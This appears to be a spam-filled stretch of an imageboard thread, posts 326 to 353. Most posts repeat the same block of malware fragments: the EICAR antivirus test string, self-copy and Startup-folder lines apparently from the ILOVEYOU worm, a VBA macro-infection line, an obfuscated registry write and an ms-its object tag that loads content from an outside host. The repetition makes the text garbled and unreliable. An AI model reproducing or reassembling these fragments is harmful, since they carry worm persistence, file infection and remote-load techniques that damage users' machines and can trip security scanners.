 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

326

>am I doing this right?
Or not?

327

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

328

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

329

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

330

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

331

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

332

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

333

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

334

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

335

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

336

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

337

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

338

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

339

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

340

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

341

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

342

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

343

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

344

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

345

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

346

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

347

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

348

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

349

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

350

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

351

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

352

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

353

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
